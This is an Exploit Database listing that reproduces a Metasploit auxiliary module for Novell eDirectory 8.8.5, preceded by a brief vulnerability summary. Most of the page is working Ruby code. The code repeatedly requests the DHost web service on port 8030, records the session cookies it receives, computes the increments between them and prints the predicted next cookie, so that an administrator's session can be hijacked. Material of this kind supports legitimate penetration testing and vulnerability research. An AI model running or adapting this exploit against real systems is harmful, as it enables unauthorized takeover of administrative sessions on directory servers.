Novell eDirectory 8.8.5 – DHost Weak Session Cookie Session Hijacking (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-03-14
• 类别：

  • remote
  平台：

  • novell
• 来源：https://www.exploit-db.com/exploits/33767/

• source: https://www.securityfocus.com/bid/38782/info
  
  Novell eDirectory is prone to a session-hijacking vulnerability.
  
  An attacker can exploit this issue to gain access to the affected application.
  
  Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. 
  
  ##
  # $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Auxiliary
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',
  			'Description'=> %q{
  				This module is able to predict the next session cookie value issued
  			by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
  			this module, wait until the real administrator logs in, then specify the
  			predicted cookie value to hijack their session.
  			},
  			'References' =>
  				[
  					['OSVDB', '60035'],
  				],
  			'Author' => 'hdm',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 7519 $'
  		))
  
  		register_options([
  			Opt::RPORT(8030),
  			OptBool.new('SSL', [true, 'Use SSL', true])
  		], self.class)
  	end
  
  	def run
  		vals = []
  		name = ""
  
  		print_status("Making 5 requests to verify predictions...")
  		1.upto(6) do
  
  			connect
  			req ="GET /dhost/ HTTP/1.1\r\n"
  			req << "Host: #{rhost}:#{rport}\r\n"
  			req << "Connection: close\r\n\r\n"
  			sock.put(req)
  			res = sock.get_once(-1,5)
  			disconnect
  
  			cookie = nil
  			if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
  				cookie = $1
  				cookie,junk = cookie.split(';')
  				name,cookie = cookie.split('=')
  				cookie= cookie.to_i(16)
  				vals << cookie
  			end
  		end
  
  		deltas = []
  		prev_val = nil
  		vals.each_index do |i|
  			if(i > 0)
  				delta = vals[i] - prev_val
  				print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
  				deltas << delta
  			end
  			prev_val = vals[i]
  		end
  
  		deltas.uniq!
  		if(deltas.length < 4)
  			print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
  		else
  			print_status("The cookie value is less predictable, maybe this has been patched?")
  			print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
  		end
  	end
  
  end